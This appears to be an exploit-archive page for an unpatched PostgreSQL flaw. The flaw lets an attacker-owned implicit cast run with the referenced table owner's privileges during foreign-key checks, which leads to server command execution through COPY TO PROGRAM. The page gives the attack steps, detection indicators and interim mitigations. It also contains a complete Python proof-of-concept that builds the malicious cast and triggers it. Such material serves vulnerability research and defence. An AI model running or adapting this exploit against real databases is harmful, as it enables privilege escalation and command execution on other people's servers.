PoC Archive PoC Archive
High None assigned as of 2026-07-04 unpatched

PostgreSQL Referential-Integrity Owner-Switched Implicit Cast RCE

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-04

Severity
High
CVE
None assigned as of 2026-07-04
Category
network
Affected product
PostgreSQL (server)
Affected versions
Tested against PostgreSQL 20devel at commit e0ff7fd9aa2e6f77c38825e71200ced742220d55; root cause is in long-standing RI-trigger owner-switch logic, so likely affects released versions too — not independently verified against a stable release by this archive
Disclosed
2026-07-04
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-04
Last Updated2026-07-04
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-04
Categorynetwork
SeverityHigh
CVSS ScoreNot yet scored (no CVE assigned)
StatusPoC
Tagspostgresql, privilege-escalation, referential-integrity, implicit-cast, command-execution, database, uncoordinated-disclosure
RelatedN/A

Affected Target

FieldValue
Software / SystemPostgreSQL (server)
Versions AffectedTested against PostgreSQL 20devel at commit e0ff7fd9aa2e6f77c38825e71200ced742220d55; root cause is in long-standing RI-trigger owner-switch logic, so likely affects released versions too — not independently verified against a stable release by this archive
Language / PlatformPython (PoC driver) against a stock PostgreSQL server via psql
Authentication RequiredYes — attacker needs a role with column-level REFERENCES grant on the target primary-key column, plus the ability to create types/functions/casts/tables (i.e., a low-privilege application DB role, not superuser)
Network Access RequiredYes (PostgreSQL wire protocol / psql)

Summary

This PoC demonstrates that PostgreSQL’s referential-integrity (RI) enforcement for foreign keys switches its effective role to the referenced table’s owner before invoking any implicit cast needed to compare the foreign-key value against the primary-key type. An attacker who can create a data type, a SECURITY INVOKER SQL function, an implicit cast from that type to the primary key’s type, and a table with a foreign key referencing the victim’s table can smuggle attacker-authored SQL into the cast function. When a row is inserted that triggers the RI check, PostgreSQL runs the attacker’s cast function under the referenced table owner’s privileges rather than the attacker’s own — and if that owner is a member of pg_execute_server_program, the attacker’s function can reach COPY ... TO PROGRAM for server-side command execution, despite direct calls to the same function being blocked by the normal privilege check. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed, has no CVE, and has not been independently verified by this archive against a released (non-devel) PostgreSQL build.


Vulnerability Details

Root Cause

ri_PerformCheck() / ri_FastPathCheck() in src/backend/utils/adt/ri_triggers.c switch the active user ID to the owner of the table being queried for RI enforcement before probing the primary-key index. If the foreign-key value requires an implicit cast to match the primary key’s operator-class input type, build_index_scankeys() invokes the cached cast function while still running as that owner-switched role — not as the inserting user. An attacker-owned implicit cast function is therefore executed with the referenced table owner’s privileges.

Attack Vector

  1. Obtain a role with column-level REFERENCES grant on a target table’s primary-key column (a common, low-privilege grant in multi-tenant schemas).
  2. Create an attacker-owned composite type, a SECURITY INVOKER SQL function, and an implicit CAST ... AS IMPLICIT from that type to the primary key’s column type.
  3. Create a table with a foreign key referencing the victim’s primary key, typed so the FK-to-PK comparison requires the attacker’s implicit cast.
  4. Insert a row that forces PostgreSQL’s RI check to invoke the cast — this runs under the referenced table owner’s effective role, not the attacker’s.
  5. If that owner belongs to pg_execute_server_program, have the cast function issue COPY ... TO PROGRAM to execute an OS command on the database host, even though the attacker could not call COPY ... TO PROGRAM directly under their own role.

Impact

Privilege escalation from a low-privileged database role (holding only a REFERENCES grant) to arbitrary server-side command execution as the referenced table’s owner, if that owner has pg_execute_server_program membership — potentially full OS command execution on the database host.


Environment / Lab Setup

Target:   PostgreSQL 20devel (commit e0ff7fd9aa2e6f77c38825e71200ced742220d55), Linux x86-64
Attacker: Python 3 + psql client; a DB role with REFERENCES grant on the victim table

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
6
7
python3 poc.py \
  --psql /path/to/psql \
  --host 127.0.0.1 \
  --port 5432 \
  --admin-user postgres \
  --admin-db postgres \
  --marker /tmp/postgres_ri_cast_marker.txt

The script bootstraps two roles (ri_owner_probe, granted pg_execute_server_program, and ri_attacker_probe), creates the referenced/referencing tables, the attacker-owned implicit cast, and an FK insert that triggers the RI check. It first confirms a direct call to the cast function is blocked by the normal COPY TO PROGRAM privilege check, then shows the same function executing successfully once invoked indirectly through the RI owner-switch path — writing a marker file containing current_user/session_user/is_superuser to prove the effective-role switch.


Detection & Indicators of Compromise

Signs of compromise:

  • Non-admin roles creating implicit casts (CREATE CAST ... AS IMPLICIT) targeting primary-key column types of tables they don’t own
  • Unexpected child processes spawned by the PostgreSQL server process shortly after INSERT activity
  • Marker/side-effect files appearing on the database host with no corresponding legitimate admin action

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-04 — monitor pgsql-hackers/PostgreSQL security advisories
Interim mitigationAudit and restrict which roles hold pg_execute_server_program; restrict column-level REFERENCES grants to trusted roles; review pg_cast for unexpected implicit casts created by non-admin roles

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: postgres-ri-owner-switched-cast-poc) on 2026-07-04. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The PoC was tested by its author only against a PostgreSQL development build (20devel) at a specific commit, not a released version — applicability to stable PostgreSQL releases is plausible given the root cause is in long-standing RI-trigger code, but has not been independently confirmed by this archive.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import argparse
import json
import os
import re
import secrets
import shlex
import string
import subprocess
from pathlib import Path


def identifier(value):
    if not re.fullmatch(r"[a-z_][a-z0-9_]{0,62}", value):
        raise SystemExit(f"invalid identifier: {value}")
    return value


def literal(value):
    return "'" + value.replace("'", "''") + "'"


def password():
    alphabet = string.ascii_letters + string.digits
    return "".join(secrets.choice(alphabet) for _ in range(24))


def run_psql(args, database, user, sql, pgpassword=None, ok=True):
    env = os.environ.copy()
    env["PGCONNECT_TIMEOUT"] = str(args.connect_timeout)
    if pgpassword is not None:
        env["PGPASSWORD"] = pgpassword
    command = [
        args.psql,
        "-X",
        "-v",
        "ON_ERROR_STOP=1",
        "-h",
        args.host,
        "-p",
        str(args.port),
        "-U",
        user,
        "-d",
        database,
    ]
    result = subprocess.run(command, input=sql, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)
    if ok and result.returncode != 0:
        raise SystemExit(result.stderr.strip() or result.stdout.strip())
    return result


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--psql", default="psql")
    parser.add_argument("--host", default=os.environ.get("PGHOST", "127.0.0.1"))
    parser.add_argument("--port", type=int, default=int(os.environ.get("PGPORT", "5432")))
    parser.add_argument("--admin-db", default=os.environ.get("PGDATABASE", "postgres"))
    parser.add_argument("--admin-user", default=os.environ.get("PGUSER", "postgres"))
    parser.add_argument("--admin-password", default=os.environ.get("PGPASSWORD"))
    parser.add_argument("--database", default="ri_cast_probe")
    parser.add_argument("--owner-role", default="ri_owner_probe")
    parser.add_argument("--attacker-role", default="ri_attacker_probe")
    parser.add_argument("--marker", default="/tmp/postgres_ri_cast_marker.txt")
    parser.add_argument("--connect-timeout", type=int, default=5)
    args = parser.parse_args()

    database = identifier(args.database)
    owner = identifier(args.owner_role)
    attacker = identifier(args.attacker_role)
    marker = args.marker
    owner_password = password()
    attacker_password = password()
    command = "cat > " + shlex.quote(marker)
    Path(marker).unlink(missing_ok=True)

    bootstrap = f"""
DROP DATABASE IF EXISTS {database} WITH (FORCE);
DROP ROLE IF EXISTS {attacker};
DROP ROLE IF EXISTS {owner};
CREATE ROLE {owner} LOGIN NOSUPERUSER PASSWORD {literal(owner_password)};
CREATE ROLE {attacker} LOGIN NOSUPERUSER PASSWORD {literal(attacker_password)};
GRANT pg_execute_server_program TO {owner};
CREATE DATABASE {database} OWNER {owner};
"""
    run_psql(args, args.admin_db, args.admin_user, bootstrap, args.admin_password)

    setup = f"""
SET ROLE {owner};
CREATE SCHEMA {owner} AUTHORIZATION {owner};
CREATE TABLE {owner}.pk(id integer PRIMARY KEY);
INSERT INTO {owner}.pk VALUES (7);
GRANT USAGE ON SCHEMA {owner} TO {attacker};
GRANT REFERENCES (id) ON TABLE {owner}.pk TO {attacker};
RESET ROLE;
CREATE SCHEMA {attacker} AUTHORIZATION {attacker};
SET ROLE {attacker};
CREATE TYPE {attacker}.fkkey AS (id integer);
CREATE FUNCTION {attacker}.fkkey_to_int(v {attacker}.fkkey, typmod integer, is_explicit boolean)
RETURNS integer
LANGUAGE SQL
VOLATILE
AS {literal("COPY (SELECT current_user || ':' || session_user || ':' || current_setting('is_superuser')) TO PROGRAM " + literal(command) + "; SELECT (v).id;")};
RESET ROLE;
"""
    run_psql(args, database, args.admin_user, setup, args.admin_password)

    direct = f"SELECT {attacker}.fkkey_to_int(ROW(7)::{attacker}.fkkey, -1, false);"
    direct_result = run_psql(args, database, attacker, direct, attacker_password, ok=False)
    direct_blocked = direct_result.returncode != 0 and "permission denied to COPY to or from an external program" in direct_result.stderr

    trigger = f"""
CREATE CAST ({attacker}.fkkey AS integer)
WITH FUNCTION {attacker}.fkkey_to_int({attacker}.fkkey, integer, boolean)
AS IMPLICIT;
CREATE TABLE {attacker}.fk(id {attacker}.fkkey);
ALTER TABLE {attacker}.fk ADD CONSTRAINT fk_pk FOREIGN KEY (id) REFERENCES {owner}.pk(id);
INSERT INTO {attacker}.fk VALUES (ROW(7)::{attacker}.fkkey);
"""
    insert_result = run_psql(args, database, attacker, trigger, attacker_password)

    marker_path = Path(marker)
    marker_text = marker_path.read_text().strip() if marker_path.exists() else ""
    expected_marker = f"{owner}:{attacker}:off"

    evidence_sql = f"""
SELECT pg_has_role({literal(owner)}, 'pg_execute_server_program', 'USAGE') AS owner_program,
       pg_has_role({literal(attacker)}, 'pg_execute_server_program', 'USAGE') AS attacker_program,
       has_column_privilege({literal(attacker)}, '{owner}.pk', 'id', 'REFERENCES') AS attacker_references,
       has_column_privilege({literal(attacker)}, '{owner}.pk', 'id', 'SELECT') AS attacker_select;
SELECT c.castsource::regtype AS castsource,
       c.casttarget::regtype AS casttarget,
       c.castcontext,
       c.castmethod,
       p.proowner::regrole AS function_owner,
       p.prosecdef
FROM pg_cast c
JOIN pg_proc p ON p.oid = c.castfunc
WHERE c.castsource = '{attacker}.fkkey'::regtype
  AND c.casttarget = 'integer'::regtype;
"""
    evidence_result = run_psql(args, database, args.admin_user, evidence_sql, args.admin_password)

    reproduced = direct_blocked and insert_result.returncode == 0 and marker_text == expected_marker
    print(json.dumps({
        "database": database,
        "owner_role": owner,
        "attacker_role": attacker,
        "direct_function_call_blocked": direct_blocked,
        "insert_returncode": insert_result.returncode,
        "marker": marker_text,
        "expected_marker": expected_marker,
        "reproduced": reproduced,
        "catalog_evidence": evidence_result.stdout.strip(),
    }, indent=2))
    raise SystemExit(0 if reproduced else 1)


if __name__ == "__main__":
    main()